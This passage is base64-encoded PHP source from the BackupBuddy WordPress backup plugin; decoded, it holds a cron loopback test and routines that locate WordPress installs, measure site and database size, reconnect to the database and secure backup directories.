oZWcgbG9jYWwgRE5TIHByb2JsZW1zLCBtb2Rfc2VjdXJpdHksIGV0YykgcHJldmVudGluZyBjb25uZWN0aW9ucyBmcm9tIHdvcmtpbmcgcHJvcGVybHkuJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJGVycm9yICk7CgkJCSRiYWNrdXBidWRkeV9jcm9uYmFja19kZXRhaWxzID0gJGVycm9yOwoJCQlyZXR1cm4gJGVycm9yOwoKCQl9IGVsc2VpZiAoICRjb25maXJtX2Nyb25fZmlyZWQgKSB7CgoJCQkvLyBXb3JkUHJlc3MgY2xhc3NpZmllcyB0aGUgcmVzcG9uc2UgYSAib2siIGFuZCB3ZSBhcmUgbWFraW5nIGFuIGFjdGl2ZSB0ZXN0LgoJCQkkY3JvbnN0YW1wICAgPSAwOwoJCQkkcmV0cnlfY291bnQgPSAyOyAvLyBPayAtIHdlIGRvbid0IGxpa2UgbWFnaWMgbnVtYmVycyBidXQgdGhlc2UgYXJlIGp1c3QgcHJvdmlzaW9uYWwuLi4KCQkJJHJldHJ5X2RlbGF5ID0gNTsKCgkJCS8vIFRyeSBhbmQgZ2V0IHRoZSBpdGJ1Yl9kb2luZ19jcm9uX3Rlc3Qgb3B0aW9uIHZhbHVlICh0aW1lc3RhbXAgd2hlbiB0aGUgb3B0aW9uIHdhcyBjcmVhdGVkKQoJCQkvLyBJbiBzb21lIGNhc2VzIGl0IG1heSB0YWtlIGEgd2hpbGUgZm9yIHRoZSBjcm9uIHRhc2sgdG8gYmUgZXhlY3V0ZWQgc28gYWxsb3cgYSBjb3VwbGUgb2YgcmV0cmllcyAtCgkJCS8vIHRoaXMgd2lsbCBzbG93IHRoZSBwYWdlIGxvYWQgZG93biBidXQgX29ubHlfIGluIHRoZSBjYXNlcyB3aGVyZSB0aGlzIGlzIHJlcXVpcmVkIHdoaWNoIHNob3VsZCBub3QKCQkJLy8gYmUgY29tbW9uPwoJCQkkcXVlcnkgPSAkd3BkYi0+cHJlcGFyZSggIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICVzIExJTUlUIDEiLCAkb3B0aW9uICk7CgkJCSRyb3cgICA9ICR3cGRiLT5nZXRfcm93KCAkcXVlcnksIE9CSkVDVCApOwoJCQl3aGlsZSAoIGlzX251bGwoICRyb3cgKSAmJiAoIDAgPCAkcmV0cnlfY291bnQtLSApICkgewoJCQkJc2xlZXAoICRyZXRyeV9kZWxheSApOwoJCQkJJHJvdyA9ICR3cGRiLT5nZXRfcm93KCAkcXVlcnksIE9CSkVDVCApOwoJCQl9CgoJCQkvLyBJZiB3ZSByZXRyaWV2ZSBvcHRpb24gYXMgYW4gb2JqZWN0IHdlIHNob3VsZCBoYXZlIGEgZ29vZCB2YWx1ZSAtIHRoZSB0aW1lc3RhbXAgd2hlbiB0aGUgdGFzayB3YXMgcnVuCgkJCS8vIE90aGVyd2lzZSB3ZSBjb3VsZG4ndCBnZXQgYW4gb3B0aW9uIHZhbHVlIHNvIGRyb3AgdGhyb3VnaCB3aXRoIGRlZmF1bHQgY3JvbnN0YW1wIHZhbHVlLgoJCQlpZiAoIGlzX29iamVjdCggJHJvdyApICkgewoJCQkJJGNyb25zdGFtcCA9IG1heWJlX3Vuc2VyaWFsaXplKCAkcm93LT5vcHRpb25fdmFsdWUgKTsKCQkJCS8vIEFsd2F5cyBkZWxldGUgdGhlIG9wdGlvbiBoZXJlIGFzIHdlIG5vIGxvbmdlciBuZWVkIGl0LgoJCQkJJHJlc3VsdCA9ICR3cGRiLT5kZWxldGUoICR3cGRiLT5vcHRpb25zLCBhcnJheSggJ29wdGlvbl9uYW1lJyA9PiAkb3B0aW9uICkgKTsKCQkJfQoKCQkJJG5vdyA9IG1pY3JvdGltZSggdHJ1ZSApOwoJCQlpZiAoICRjcm9uc3RhbXAgJiYgKCBhYnMoICRub3cgLSAkY3JvbnN0YW1wICkgPCAxNSApICkgewoKCQkJCS8vIElmIGhlcmUsIHRoZSBjcm9uIHdhcyBleGVjdXRlZCBhbmQgdGhlIHRpbWUgZGlmZmVyZW5jZSAoYWxzbyBhbGxvd2luZyBmb3IgcG9zc2libGUgdGltZSBzeW5jCgkJCQkvLyBkaWZmZXJlbmNlcyBvbiBkaWZmZXJlbnQgc2VydmVycyBpbiB0aGUgY2FzZSBvZiBjbG91ZCBzaGFyZWQgaG9zdGluZykgaXMgPCAxNXMuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdBY3RpdmUgd3AtY3Jvbi5waHAgbG9vcGJhY2sgdGVzdCBzdWNjZXNzLiBSZXR1cm5lZCBgJyAuICRyZXNwb25zZVsnYm9keSddIC4gJ2Agd2l0aCBjb2RlIGAnIC4gJHJlc3BvbnNlWydyZXNwb25zZSddWydjb2RlJ10gLiAnICcgLiAkcmVzcG9uc2VbJ3Jlc3BvbnNlJ11bJ21lc3NhZ2UnXSAuICdgLicgKTsKCQkJCSRiYWNrdXBidWRkeV9jcm9uYmFja19kZXRhaWxzID0gJ0FjdGl2ZSB0ZXN0IHN1Y2Nlc3MnIC4gUEhQX0VPTCAuICdSZXR1cm5lZDogYCcgLiAkcmVzcG9uc2VbJ2JvZHknXSAuICdgIHdpdGggY29kZSBgJyAuICRyZXNwb25zZVsncmVzcG9uc2UnXVsnY29kZSddIC4gJyAnIC4gJHJlc3BvbnNlWydyZXNwb25zZSddWydtZXNzYWdlJ10gLiAnYC4nOwoJCQkJcmV0dXJuIHRydWU7CgoJCQl9IGVsc2UgewoKCQkJCS8vIElmIHdlIG1hZGUgaXQgaGVyZSwgdGhlIHNjcmlwdCBpc24ndCBibG9ja2VkLCBidXQgdGhlIGNyb25zIGFyZW4ndCBiZWluZyBleGVjdXRlZC4KCQkJCSRlcnJvciAgPSAnQWN0aXZlIHdwLWNyb24ucGhwIGxvb3BiYWNrIHRlc3QgZmFpbHVyZS4gWW91ciB3cC1jcm9uLnBocCBhcHBlYXJzIHRvIGJlIHJlYWNoYWJsZSBieSB0aGUgc2VydmVyIGJ1dCBzb21ldGhpbmcgaXMgcHJldmVudGluZyBpdCBmcm9tIGV4ZWN1dGluZyBjb2RlIHByb3Blcmx5IC0gQ29taW5nIFNvb24gcGx1Z2lucyBhbmQgQmFzaWMgQXV0aGVudGljYXRpb24gb2Z0ZW4gYnJlYWsgdGhpcy4gJzsKCQkJCSRlcnJvciAuPSAnVGhpcyBtYXkgYmUgYSB0ZW1wb3Jhcnkgc2l0ZS9zZXJ2ZXIvaG9zdGluZyBpc3N1ZSBidXQgaWYgaXQgcGVyc2lzdHMgeW91IHdpbGwgbmVlZCB0byBpbnZlc3RpZ2F0ZSBmdXJ0aGVyLiAnOwoJCQkJJGVycm9yIC49ICdSZXR1cm5lZDogYCcgLiAkcmVzcG9uc2VbJ2JvZHknXSAuICdgIHdpdGggY29kZSBgJyAuICRyZXNwb25zZVsncmVzcG9uc2UnXVsnY29kZSddIC4gJyAnIC4gJHJlc3BvbnNlWydyZXNwb25zZSddWydtZXNzYWdlJ10gLiAnYC4nOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJGVycm9yICk7CgkJCQkkYmFja3VwYnVkZHlfY3JvbmJhY2tfZGV0YWlscyA9ICRlcnJvcjsKCQkJCXJldHVybiAkZXJyb3I7CgoJCQl9CgkJfSBlbHNlIHsKCgkJCS8vIFdvcmRQcmVzcyBjbGFzc2lmaWVzIHRoZSByZXNwb25zZSBhcyAib2siCgkJCS8vIE5vIGFjY2VzcyBlcnJvciBidXQgd2UncmUgbm90IGNoZWNraW5nIGZvciBhY3R1YWwgZmlyaW5nIG9mIHRoZSBjcm9uLCBzbyByZXR1cm4gc3VjY2VzcyAobGlrZSBvbiBiYWNrdXAgcGFnZSkuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1Bhc3NpdmUgd3AtY3Jvbi5waHAgbG9vcGJhY2sgdGVzdCBzdWNjZXNzLiBSZXR1cm5lZCBgJyAuICRyZXNwb25zZVsnYm9keSddIC4gJ2Agd2l0aCBjb2RlIGAnIC4gJHJlc3BvbnNlWydyZXNwb25zZSddWydjb2RlJ10gLiAnICcgLiAkcmVzcG9uc2VbJ3Jlc3BvbnNlJ11bJ21lc3NhZ2UnXSAuICdgLicgKTsKCQkJJGJhY2t1cGJ1ZGR5X2Nyb25iYWNrX2RldGFpbHMgLj0gJ1Bhc3NpdmUgdGVzdCBzdWNjZXNzJyAuIFBIUF9FT0wgLiAnUmV0dXJuZWQ6IGAnIC4gJHJlc3BvbnNlWydib2R5J10gLiAnYCB3aXRoIGNvZGUgYCcgLiAkcmVzcG9uc2VbJ3Jlc3BvbnNlJ11bJ2NvZGUnXSAuICcgJyAuICRyZXNwb25zZVsncmVzcG9uc2UnXVsnbWVzc2FnZSddIC4gJ2AuJzsKCQkJcmV0dXJuIHRydWU7CgoJCX0KCgl9IC8vIEVuZCBjcm9uYmFja190ZXN0KCkuCgoKCS8qKgoJICogR2V0IGFuIGFycmF5IG9mIHN1YmRpcmVjdG9yaWVzIHdoZXJlIHBvdGVudGlhbCBXb3JkUHJlc3MgaW5zdGFsbGF0aW9ucyBoYXZlIGJlZW4gZGV0ZWN0ZWQuCgkgKgoJICogQHJldHVybiBhcnJheSAgQXJyYXkgb2YgZnVsbCBwYXRocywgV0lUSE9VVCB0cmFpbGluZyBzbGFzaGVzLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF93b3JkcHJlc3NfbG9jYXRpb25zKCkgewoJCSR3b3JkcHJlc3NfbG9jYXRpb25zID0gYXJyYXkoKTsKCgkJJGZpbGVzID0gZ2xvYiggQUJTUEFUSCAuICcqLycgKTsKCQlpZiAoICEgaXNfYXJyYXkoICRmaWxlcyApIHx8IGVtcHR5KCAkZmlsZXMgKSApIHsKCQkJJGZpbGVzID0gYXJyYXkoKTsKCQl9CgoJCWZvcmVhY2ggKCAkZmlsZXMgYXMgJGZpbGUgKSB7CgkJCWlmICggZmlsZV9leGlzdHMoICRmaWxlIC4gJ3dwLWNvbmZpZy5waHAnICkgKSB7CgkJCQkkd29yZHByZXNzX2xvY2F0aW9uc1tdID0gcnRyaW0oICcvJyAuIHN0cl9yZXBsYWNlKCBBQlNQQVRILCAnJywgJGZpbGUgKSwgJy9cXCcgKTsKCQkJfQoJCX0KCgkJLy8gUmVtb3ZlIGFueSBleGNsdWRlZCBkaXJlY3RvcmllcyBmcm9tIHNob3dpbmcgdXAgaW4gdGhpcy4KCQkkZGlyZWN0b3J5X2V4Y2x1c2lvbnMgPSBzZWxmOjpnZXRfZGlyZWN0b3J5X2V4Y2x1c2lvbnMoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncHJvZmlsZXMnXVswXSApOyAvLyBkZWZhdWx0IHByb2ZpbGUuCgkJJHdvcmRwcmVzc19sb2NhdGlvbnMgID0gYXJyYXlfZGlmZiggJHdvcmRwcmVzc19sb2NhdGlvbnMsICRkaXJlY3RvcnlfZXhjbHVzaW9ucyApOwoKCQlyZXR1cm4gJHdvcmRwcmVzc19sb2NhdGlvbnM7Cgl9IC8vIEVuZCBnZXRfd29yZHByZXNzX2xvY2F0aW9ucygpLgoKCgkvKioKCSAqIFJldHVybnMgYW4gYXJyYXkgd2l0aCB0aGUgc2l0ZSBzaXplIGFuZCB0aGUgc2l0ZSBzaXplIHNhbnMgZXhjbHVzaW9ucy4gU2F2ZXMgdXBkYXRlcyBzdGF0cyBpbiBvcHRpb25zLgoJICoKCSAqIEByZXR1cm4gYXJyYXkgIEluZGV4IDA6IHNpdGUgc2l6ZTsgSW5kZXggMTogc2l0ZSBzaXplIHNhbnMgZXhjbHVkZWQgZmlsZXMvZGlycy47IEluZGV4IDI6IFRvdGFsIG51bWJlciBvZiBvYmplY3RzIChmaWxlcytmb2xkZXJzKTsgSW5kZXggMzogVG90YWwgb2JqZWN0cyBzYW5zIGV4Y2x1ZGVkIGZpbGVzL2ZvbGRlcnMuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0X3NpdGVfc2l6ZSgpIHsKCQkkZXhjbHVzaW9ucyA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9kaXJlY3RvcnlfZXhjbHVzaW9ucyggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwcm9maWxlcyddWzBdICk7CgkJJGRpcl9hcnJheSAgPSBhcnJheSgpOwoJCSRyZXN1bHQgICAgID0gcGJfYmFja3VwYnVkZHk6OiRmaWxlc3lzdGVtLT5kaXJfc2l6ZV9tYXAoIEFCU1BBVEgsIEFCU1BBVEgsICRleGNsdXNpb25zLCAkZGlyX2FycmF5ICk7CgkJdW5zZXQoICRkaXJfYXJyYXkgKTsgLy8gRnJlZSB0aGlzIGxhcmdlIGNodW5rIG9mIG1lbW9yeS4KCgkJJHRvdGFsX3NpemUgICAgICAgICAgICAgPSAkcmVzdWx0WzBdOwoJCSR0b3RhbF9zaXplX2V4Y2x1ZGVkICAgID0gJHJlc3VsdFsxXTsKCQkkdG90YWxfb2JqZWN0cyAgICAgICAgICA9ICRyZXN1bHRbMl07CgkJJHRvdGFsX29iamVjdHNfZXhjbHVkZWQgPSAkcmVzdWx0WzNdOwoKCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3N0YXRzJ11bJ3NpdGVfc2l6ZSddICAgICAgICAgICAgID0gJHRvdGFsX3NpemU7CgkJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydzdGF0cyddWydzaXRlX3NpemVfZXhjbHVkZWQnXSAgICA9ICR0b3RhbF9zaXplX2V4Y2x1ZGVkOwoJCXBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnc2l0ZV9vYmplY3RzJ10gICAgICAgICAgPSAkdG90YWxfb2JqZWN0czsKCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3N0YXRzJ11bJ3NpdGVfb2JqZWN0c19leGNsdWRlZCddID0gJHRvdGFsX29iamVjdHNfZXhjbHVkZWQ7CgkJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydzdGF0cyddWydzaXRlX3NpemVfdXBkYXRlZCddICAgICA9IHRpbWUoKTsKCQlwYl9iYWNrdXBidWRkeTo6c2F2ZSgpOwoKCQlyZXR1cm4gYXJyYXkoICR0b3RhbF9zaXplLCAkdG90YWxfc2l6ZV9leGNsdWRlZCwgJHRvdGFsX29iamVjdHMsICR0b3RhbF9vYmplY3RzX2V4Y2x1ZGVkICk7Cgl9IC8vIEVuZCBnZXRfc2l0ZV9zaXplKCkuCgoKCS8qKgoJICogUmV0dXJuIGFycmF5IG9mIGRhdGFiYXNlIHNpemUsIGRhdGFiYXNlIHNhbnMgZXhjbHVzaW9ucy4KCSAqCgkgKiBAcGFyYW0gaW50ICRwcm9maWxlX2lkICBJRCBvZiBCYWNrdXAgUHJvZmlsZS4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBJbmRleCAwOiBkYiBzaXplLCBJbmRleCAxOiBkYiBzaXplIHNhbnMgZXhjbHVzaW9ucy4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfZGF0YWJhc2Vfc2l6ZSggJHByb2ZpbGVfaWQgPSAwICkgewoJCWdsb2JhbCAkd3BkYjsKCQkkcHJlZml4ICAgICAgICA9ICR3cGRiLT5wcmVmaXg7CgkJJHByZWZpeF9sZW5ndGggPSBzdHJsZW4oICR3cGRiLT5wcmVmaXggKTsKCgkJJGFkZGl0aW9uYWxfaW5jbHVkZXMgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfbXlzcWxkdW1wX2FkZGl0aW9uYWwoICdpbmNsdWRlcycsIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncHJvZmlsZXMnXVsgJHByb2ZpbGVfaWQgXSApOwoJCSRhZGRpdGlvbmFsX2V4Y2x1ZGVzID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X215c3FsZHVtcF9hZGRpdGlvbmFsKCAnZXhjbHVkZXMnLCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Byb2ZpbGVzJ11bICRwcm9maWxlX2lkIF0gKTsKCgkJJHRvdGFsX3NpemUgICAgICAgICAgICAgICAgID0gMDsKCQkkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgPSAwOwoJCSRyb3dzICAgICAgICAgICAgICAgICAgICAgICA9ICR3cGRiLT5nZXRfcmVzdWx0cyggJ1NIT1cgVEFCTEUgU1RBVFVTJywgQVJSQVlfQSApOwoJCWZvcmVhY2ggKCAkcm93cyBhcyAkcm93ICkgewoJCQkkZXhjbHVkZWQgPSB0cnVlOyAvLyBEZWZhdWx0LgoKCQkJLy8gVEFCTEUgU1RBVFVTLgoJCQkkcm93c2IgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICJDSEVDSyBUQUJMRSBgeyRyb3dbJ05hbWUnXX1gIiwgQVJSQVlfQSApOwoJCQlmb3JlYWNoICggJHJvd3NiIGFzICRyb3diICkgewoJCQkJaWYgKCAnc3RhdHVzJyA9PSAkcm93YlsnTXNnX3R5cGUnXSApIHsKCQkJCQkkc3RhdHVzID0gJHJvd2JbJ01zZ190ZXh0J107CgkJCQl9CgkJCX0KCQkJdW5zZXQoICRyb3dzYiApOwoKCQkJLy8gVGFibGUgc2l6ZS4KCQkJJHNpemUgICAgICAgID0gKCAkcm93WydEYXRhX2xlbmd0aCddICsgJHJvd1snSW5kZXhfbGVuZ3RoJ10gKTsKCQkJJHRvdGFsX3NpemUgKz0gJHNpemU7CgoJCQkvLyBIYW5kbGUgZXhjbHVzaW9ucy4KCQkJaWYgKCAwID09IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncHJvZmlsZXMnXVsgJHByb2ZpbGVfaWQgXVsnYmFja3VwX25vbndwX3RhYmxlcyddICkgeyAvLyBPbmx5IG1hdGNoaW5nIHByZWZpeC4KCQkJCWlmICggc3Vic3RyKCAkcm93WydOYW1lJ10sIDAsICRwcmVmaXhfbGVuZ3RoICkgPT0gJHByZWZpeCB8fCBpbl9hcnJheSggJHJvd1snTmFtZSddLCAkYWRkaXRpb25hbF9pbmNsdWRlcyApICkgewoJCQkJCWlmICggISBpbl9hcnJheSggJHJvd1snTmFtZSddLCAkYWRkaXRpb25hbF9leGNsdWRlcyApICkgewoJCQkJCQkkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgKz0gJHNpemU7CgkJCQkJCSRleGNsdWRlZCAgICAgICAgICAgICAgICAgICAgPSBmYWxzZTsKCQkJCQl9CgkJCQl9CgkJCX0gZWxzZSB7IC8vIEFsbCB0YWJsZXMuCgkJCQlpZiAoICEgaW5fYXJyYXkoICRyb3dbJ05hbWUnXSwgJGFkZGl0aW9uYWxfZXhjbHVkZXMgKSApIHsKCQkJCQkkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgKz0gJHNpemU7CgkJCQkJJGV4Y2x1ZGVkICAgICAgICAgICAgICAgICAgICA9IGZhbHNlOwoJCQkJfQoJCQl9CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3N0YXRzJ11bJ2RiX3NpemUnXSAgICAgICAgICA9ICR0b3RhbF9zaXplOwoJCXBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnZGJfc2l6ZV9leGNsdWRlZCddID0gJHRvdGFsX3NpemVfd2l0aF9leGNsdXNpb25zOwoJCXBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnZGJfc2l6ZV91cGRhdGVkJ10gID0gdGltZSgpOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzYXZlKCk7CgoJCXVuc2V0KCAkcm93cyApOwoKCQlyZXR1cm4gYXJyYXkoICR0b3RhbF9zaXplLCAkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgKTsKCX0gLy8gRW5kIGdldF9kYXRhYmFzZV9zaXplKCkuCgoKCS8qKgoJICogQXR0ZW1wdCB0byB2ZXJpZnkgdGhlIGRhdGFiYXNlIHNlcnZlciBpcyBzdGlsbCBhbGl2ZSBhbmQgZnVuY3Rpb25pbmcuICBJZiBub3QsIHRyeSB0byByZS1lc3RhYmxpc2ggY29ubmVjdGlvbi4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBraWNrX2RiKCkgewoJCS8vIE5lZWQgdG8gbWFrZSBzdXJlIHRoZSBkYXRhYmFzZSBjb25uZWN0aW9uIGlzIGFjdGl2ZS4gU29tZXRpbWVzIGl0IGdvZXMgYXdheSBkdXJpbmcgbG9uZyBib3V0cyBkb2luZyBvdGhlciB0aGluZ3MgLS0gc2lnaC4KCQkvLyBUaGlzIGlzIG5vdCBlc3NlbnRpYWwgc28gdXNlIGluY2x1ZGUgYW5kIG5vdCByZXF1aXJlIChzdXBwcmVzcyBhbnkgd2FybmluZykuCgkJQGluY2x1ZGVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3dwZGJ1dGlscy93cGRidXRpbHMucGhwJzsKCgkJaWYgKCBjbGFzc19leGlzdHMoICdwbHVnaW5idWRkeV93cGRidXRpbHMnICkgKSB7CgkJCS8vIFRoaXMgaXMgdGhlIGRhdGFiYXNlIG9iamVjdCB3ZSB3YW50IHRvIHVzZQoJCQlnbG9iYWwgJHdwZGI7CgoJCQkvLyBHZXQgb3VyIGhlbHBlciBvYmplY3QgYW5kIGxldCBpdCB1c2UgdXMgdG8gb3V0cHV0IHN0YXR1cyBtZXNzYWdlcwoJCQkkZGJoZWxwZXIgPSBuZXcgcGx1Z2luYnVkZHlfd3BkYnV0aWxzKCAkd3BkYiApOwoKCQkJLy8gSWYgd2UgY2Fubm90IGtpY2sgdGhlIGRhdGFiYXNlIGludG8gbGlmZSB0aGVuIHNpZ25hbCB0aGUgZXJyb3IgYW5kIHJldHVybiBmYWxzZSB3aGljaCB3aWxsIHN0b3AgdGhlIGJhY2t1cAoJCQkvLyBPdGhlcndpc2UgYWxsIGlzIG9rIGFuZCB3ZSBjYW4ganVzdCBmYWxsIHRocm91Z2ggYW5kIGxldCB0aGUgZnVuY3Rpb24gcmV0dXJuIHRydWUKCQkJaWYgKCAhICRkYmhlbHBlci0+a2ljaygpICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgX18oICdEYXRhYmFzZSBTZXJ2ZXIgaGFzIGdvbmUgYXdheSwgdW5hYmxlIHRvIHVwZGF0ZSByZW1vdGUgZGVzdGluYXRpb24gdHJhbnNmZXIgc3RhdHVzLiBUaGlzIGlzIG1vc3Qgb2Z0ZW4gY2F1c2VkIGJ5IG15c3FsIHJ1bm5pbmcgb3V0IG9mIG1lbW9yeSBvciB0aW1pbmcgb3V0IGZhciB0b28gZWFybHkuIFBsZWFzZSBjb250YWN0IHlvdXIgaG9zdC4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQl9CgkJfSBlbHNlIHsKCQkJLy8gVXRpbHMgbm90IGF2YWlsYWJsZSBzbyBjYW5ub3QgdmVyaWZ5IGRhdGFiYXNlIGNvbm5lY3Rpb24gc3RhdHVzIC0ganVzdCBub3RpZnkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0RhdGFiYXNlIFNlcnZlciBjb25uZWN0aW9uIHN0YXR1cyB1bnZlcmlmaWVkLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJfQoKCX0gLy8gRW5kIGtpY2tfZGIoKS4KCgoJLyoqCgkgKiBWZXJpZnkgZXhpc3RhbmNlIGFuZCBzZWN1cml0eSBvZiBrZXkgZGlyZWN0b3JpZXMuIFJlc3VsdCBhdmFpbGFibGUgdmlhIGdsb2JhbCAkcGJfYmFja3VwYnVkZHlfZGlyZWN0b3J5X3ZlcmlmaWNhdGlvbiB3aXRoIHJldHVybiB2YWx1ZS4KCSAqCgkgKiBAcGFyYW0gYm9vbCAkc2tpcF90ZW1wX2dlbmVyYXRpb24gIFNraXBzIGNyZWF0aW9uIG9mIHRlbXAgZGlyZWN0b3J5LgoJICoKCSAqIEByZXR1cm4gYm9vbCAgVHJ1ZSBvbiBzdWNjZXNzIGNyZWF0aW5nIC8gdmVyaWZ5aW5nLCBlbHNlIGZhbHNlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHZlcmlmeV9kaXJlY3RvcmllcyggJHNraXBfdGVtcF9nZW5lcmF0aW9uID0gZmFsc2UgKSB7CgoJCSRzdWNjZXNzID0gdHJ1ZTsKCgkJLy8gVXBkYXRlIGJhY2t1cCBkaXJlY3RvcnkgaWYgdW5hYmxlIHRvIHdyaXRlIHRvIHRoZSBkZWZpbmVkIG9uZS4KCQlpZiAoICEgQGlzX3dyaXRhYmxlKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdCYWNrdXAgZGlyZWN0b3J5IGludmFsaWQuIFVwZGF0aW5nIGZyb20gYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSAuICdgIHRvIGRlZmF1bHQuJyApOwoJCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JhY2t1cF9kaXJlY3RvcnknXSA9ICcnOyAvLyBSZXNldCB0byBkZWZhdWx0IChibGFuaykuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzYXZlKCk7CgkJfQoJCSRyZXNwb25zZSA9IHBiX2JhY2t1cGJ1ZGR5OjphbnRpX2RpcmVjdG9yeV9icm93c2luZyggYmFja3VwYnVkZHlfY29yZTo6Z2V0QmFja3VwRGlyZWN0b3J5KCksIGZhbHNlICk7CgkJaWYgKCBmYWxzZSA9PT0gJHJlc3BvbnNlICkgewoJCQkkc3VjY2VzcyA9IGZhbHNlOwoJCX0KCgkJLy8gVXBkYXRlIGxvZyBkaXJlY3RvcnkgaWYgdW5hYmxlIHRvIHdyaXRlIHRvIHRoZSBkZWZpbmVkIG9uZS4KCQlpZiAoICEgQGlzX3dyaXRhYmxlKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdMb2cgZGlyZWN0b3J5IGludmFsaWQuIFVwZGF0aW5nIGZyb20gYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdgIHRvIGRlZmF1bHQuJyApOwoJCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2xvZ19kaXJlY3RvcnknXSA9ICcnOyAvLyBSZXNldCB0byBkZWZhdWx0IChibGFuaykuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzYXZlKCk7CgkJfQoJCXBiX2JhY2t1cGJ1ZGR5OjphbnRpX2RpcmVjdG9yeV9icm93c2luZyggYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCksIGZhbHNlICk7CgkJaWYgKCBmYWxzZSA9PT0gJHJlc3BvbnNlICkgewoJCQkkc3VjY2VzcyA9IGZhbHNlOwoJCX0KCgkJLy8gVXBkYXRlIHRlbXAgZGlyZWN0b3J5IGlmIHVuYWJsZSB0byB3cml0ZSB0byB0aGUgZGVmaW5lZCBvbmUuCgkJaWYgKCB0cnVlICE9PSAkc2tpcF90ZW1wX2dlbmVyYXRpb24gKSB7CgkJCWlmICggISBAaXNfd3JpdGFibGUoIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldFRlbXBEaXJlY3RvcnkoKSApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVGVtcG9yYXJ5IGRpcmVjdG9yeSBpbnZhbGlkLiBVcGRhdGluZyBmcm9tIGAnIC4gYmFja3VwYnVkZHlfY29yZTo6Z2V0VGVtcERpcmVjdG9yeSgpIC4gJ2AgdG8gZGVmYXVsdC4nICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3RlbXBfZGlyZWN0b3J5J10gPSAnJzsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzYXZlKCk7CgkJCX0KCQkJcGJfYmFja3VwYnVkZHk6OmFudGlfZGlyZWN0b3J5X2Jyb3dzaW5nKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRUZW1wRGlyZWN0b3J5KCksIGZhbHNlICk7CgkJCWlmICggZmFsc2UgPT09ICRyZXNwb25zZSApIHsKCQkJCSRzdWNjZXNzID0gZmFsc2U7CgkJCX0KCQl9CgoJCS8vIElmIHRlbXAgZGlyZWN0b3J5IGV4aXN0cyAoc2hvdWxkIG9ubHkgYmUgdHJhbnNpZW50IGJ1dCBqdXN0IGluIGNhc2UgaXQgaXMgaGFuZ2luZyBhcm91bmQpIG1ha2Ugc3VyZSBpdCdzIHNlY3VyZWQuIEJCIHdpbGwgdHJ5IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSBidXQgaWYgaXQgY2FuJ3QgaXQgd2lsbCBhdCBsZWFzdCBiZSBjaGVja2VkIHRvIGJlIHNlY3V